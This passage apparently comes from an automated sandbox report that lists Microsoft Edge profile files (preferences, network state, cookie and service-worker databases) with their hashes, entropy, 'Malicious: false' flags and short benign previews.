SHA1:	15DBFB49C48826DA8C0A16FF52063D1909F390C3
SHA-256:	6984AB420C81C8AED32FB44B5F7A56A153E77F68BB7971868E25AB7B502584A6
SHA-512:	840CDE4D439B052361926DE0002B5909728E4F28E0A005BEEEE8C2493D40F909DC0E81D40D22EB704E2EB04E71A4BB7F19D392019E47F3D8DC2F66D11C6B9BE8
Malicious:	false
Preview:	2024/11/21-18:11:39.965 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/21-18:11:40.012 1d08 Recovering log #3.2024/11/21-18:11:40.015 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1d1ba661-35e3-4fb6-b197-91e7a2b5c572.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5f2a9821-0862-47ae-8336-bc75537bca9b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7b9b32f4-4ed3-43de-94d8-359b6d2e465f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7691472469393714
Encrypted:	false
SSDEEP:	96:te+Au4tHZKqaU2SkSXXfEOn4qiDOtSH1dIkYbrdXckO0L/ZJV8Y:tT4t5KnHSkUPEO4qiDCkidXcf0L/ZJVb
MD5:	23C87EA063842B8CEA4A205FF16C4484
SHA1:	5490108C79DC3E471C5322D4FFEFEA2B1BE1A508
SHA-256:	7BDC6E6B0E225076679400271A5ECD68D0DE64BE889A1736CE4B0512D476B789
SHA-512:	5ECA79DB3D99767E1E9F09314A895E13F014DCF4087EE0DED6EA35D6A6F3F6D85F60ECAE5A5654A26F183DA603F51A221B9A75BCB409FADEE1EF2B7F24E8EF26
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	5.339531751421658
Encrypted:	false
SSDEEP:	48:YcgCzsgdbtsghfc7leeBkBRs0CgHybxo+:FBd2keBkBbTyVo+
MD5:	D2C98848A40F94FF5818B8FDF5A779BF
SHA1:	D97C25B927EC7A6223018973109467FB53D06C15
SHA-256:	4154FC59D37BA4B9D0D2AE600424B7F6296A869FC2DC5E4325DD52DFBC7FC9A9
SHA-512:	7C9AC9B1A808C976C6D073CFE4F313BDBBF59B4FF2B5D8D432B084787B20D4447DDE6F24C78420C5CC0330FECAE92B68FDB421C855A90F7FD42A444721757E61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379296304555800","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379296308882829","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1125825626131762
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9WX:uIEumQv8m1ccnvS6O
MD5:	EB0E0B7533519E63121C091C379B02AB
SHA1:	9E3280B46DB6B05A9BDE7E089B77405A8997C6C2
SHA-256:	8C01BBF552721083E536871171D8D9655213645C4C81241E86DB8D0383A003E9
SHA-512:	E890941CAFEF3E63672E00AA5324CCC48C5C0EA31F9FDF6F73EA255BC494DA85D7FF282E1FDB835936F42E6D52F5D2AB38A6D1604497D4350F7F632F460AADC6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c0e0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d5fe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a9349895-3bf6-4f67-a941-b2b7a5d948ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\dbbd97c7-1c18-4a40-8256-21f5c4d5fed1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1546
Entropy (8bit):	5.339531751421658
Encrypted:	false
SSDEEP:	48:YcgCzsgdbtsghfc7leeBkBRs0CgHybxo+:FBd2keBkBbTyVo+
MD5:	D2C98848A40F94FF5818B8FDF5A779BF
SHA1:	D97C25B927EC7A6223018973109467FB53D06C15
SHA-256:	4154FC59D37BA4B9D0D2AE600424B7F6296A869FC2DC5E4325DD52DFBC7FC9A9
SHA-512:	7C9AC9B1A808C976C6D073CFE4F313BDBBF59B4FF2B5D8D432B084787B20D4447DDE6F24C78420C5CC0330FECAE92B68FDB421C855A90F7FD42A444721757E61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379296304555800","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379296308882829","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116393911333424
Encrypted:	false
SSDEEP:	192:stFkdpbsrqQsZihUkTPs8UbV+FlKQA66WYaFIMYcPiVYJ:stFQbs2QfhCbGAQx6WYaTYX6
MD5:	265E479074EA2D53BD441BD339D3311D
SHA1:	013971D8B8FF0566B50269EF22D6654B64A2C0AF
SHA-256:	5C47371066AE3617A708036E7AD608F7FBE82600F4DBD7374956B08260C84F6B
SHA-512:	1CFE35E50B6DC9D3CA48F33EBDB3ADE188E99E7E2943DC6BB3C7587B5DDB40FCDA7BA07BA8BA05F9E3D9BD3E94E96A0AE3CEDD2701789223D8ADF0984FEC08D5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376704300214140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40607.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116393911333424
Encrypted:	false
SSDEEP:	192:stFkdpbsrqQsZihUkTPs8UbV+FlKQA66WYaFIMYcPiVYJ:stFQbs2QfhCbGAQx6WYaTYX6
MD5:	265E479074EA2D53BD441BD339D3311D
SHA1:	013971D8B8FF0566B50269EF22D6654B64A2C0AF
SHA-256:	5C47371066AE3617A708036E7AD608F7FBE82600F4DBD7374956B08260C84F6B
SHA-512:	1CFE35E50B6DC9D3CA48F33EBDB3ADE188E99E7E2943DC6BB3C7587B5DDB40FCDA7BA07BA8BA05F9E3D9BD3E94E96A0AE3CEDD2701789223D8ADF0984FEC08D5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376704300214140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF445c0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116393911333424
Encrypted:	false
SSDEEP:	192:stFkdpbsrqQsZihUkTPs8UbV+FlKQA66WYaFIMYcPiVYJ:stFQbs2QfhCbGAQx6WYaTYX6
MD5:	265E479074EA2D53BD441BD339D3311D
SHA1:	013971D8B8FF0566B50269EF22D6654B64A2C0AF
SHA-256:	5C47371066AE3617A708036E7AD608F7FBE82600F4DBD7374956B08260C84F6B
SHA-512:	1CFE35E50B6DC9D3CA48F33EBDB3ADE188E99E7E2943DC6BB3C7587B5DDB40FCDA7BA07BA8BA05F9E3D9BD3E94E96A0AE3CEDD2701789223D8ADF0984FEC08D5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376704300214140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4baff.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116393911333424
Encrypted:	false
SSDEEP:	192:stFkdpbsrqQsZihUkTPs8UbV+FlKQA66WYaFIMYcPiVYJ:stFQbs2QfhCbGAQx6WYaTYX6
MD5:	265E479074EA2D53BD441BD339D3311D
SHA1:	013971D8B8FF0566B50269EF22D6654B64A2C0AF
SHA-256:	5C47371066AE3617A708036E7AD608F7FBE82600F4DBD7374956B08260C84F6B
SHA-512:	1CFE35E50B6DC9D3CA48F33EBDB3ADE188E99E7E2943DC6BB3C7587B5DDB40FCDA7BA07BA8BA05F9E3D9BD3E94E96A0AE3CEDD2701789223D8ADF0984FEC08D5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376704300214140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565994570339524
Encrypted:	false
SSDEEP:	768:Ck3my5WP37fmp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVqPGy5rw7pltuz:Ck3my5WP37fmpu1janeyKjts
MD5:	068A42D70E76FD55A1EFC66984D1E98A
SHA1:	E0F5411D88120A6C41DF173C084E7C6534155852
SHA-256:	DC9AFF1DA80B6D37DB22FC5B1F2307EA5B4378203F296B6578799257E58284D6
SHA-512:	E661D31B6901038CFDF306E2C21D118F93C2EFD04A351D34A70A60776B3DB0EB77B69B1995D8A24B4A9848AC91F95C4C704C834393364AB60BAD9CA54D88C3D6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376704299426981","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376704299426981","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f7de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565994570339524
Encrypted:	false
SSDEEP:	768:Ck3my5WP37fmp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVqPGy5rw7pltuz:Ck3my5WP37fmpu1janeyKjts
MD5:	068A42D70E76FD55A1EFC66984D1E98A
SHA1:	E0F5411D88120A6C41DF173C084E7C6534155852
SHA-256:	DC9AFF1DA80B6D37DB22FC5B1F2307EA5B4378203F296B6578799257E58284D6
SHA-512:	E661D31B6901038CFDF306E2C21D118F93C2EFD04A351D34A70A60776B3DB0EB77B69B1995D8A24B4A9848AC91F95C4C704C834393364AB60BAD9CA54D88C3D6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376704299426981","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376704299426981","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.833739572578181
Encrypted:	false
SSDEEP:	48:F2emyHtrdDsfBOXrdQDth78rdDvBIrd4BL:F1mKtxDs6xQph78xDmxy
MD5:	6818309F3A426B0011CB4957D6E2AA23
SHA1:	3BDA267A0D599781A8D863674D4EF09DAC70F64D
SHA-256:	3915D02E79E12B41584902056539AAD8B87F003F9198FC03FE38F61B97F48976
SHA-512:	AA00B25BDD74E9940C3712352AC20C95101658154C54A256D7388F511046C9B2D9CE32E5335556F976031AFC537A86EF1FA8AB18E46D573F55F1C229CCF33ACB
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2...m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.146101722467438
Encrypted:	false
SSDEEP:	6:HEzFeU81923oH+TcwtE/a252KLlVEzFLVjUflWM+q2P923oH+TcwtE/a2ZIFUv:k0kYeb8xLsxVjUflL+v4Yeb8J2FUv
MD5:	C7FBEB6A8C2DB86E069A19412044EB64
SHA1:	40C91D1E12C4699186E61FFAF2AA99AD0EE435DA
SHA-256:	C72D786BDF11465A029BBAB223AD2F3B163F96DDDDD3583BD12BF78DA2291C19
SHA-512:	5EC47226327DBC5635E7CC587285D1C51028ECA935579CBA2EB982A8F2E0C704C52C75DE2B86ED8AA89D9ED499AC410937C41D5B05047EA1EA9485F52B5B2555
Malicious:	false
Preview:	2024/11/21-18:11:56.692 1d1c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/21-18:11:56.704 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
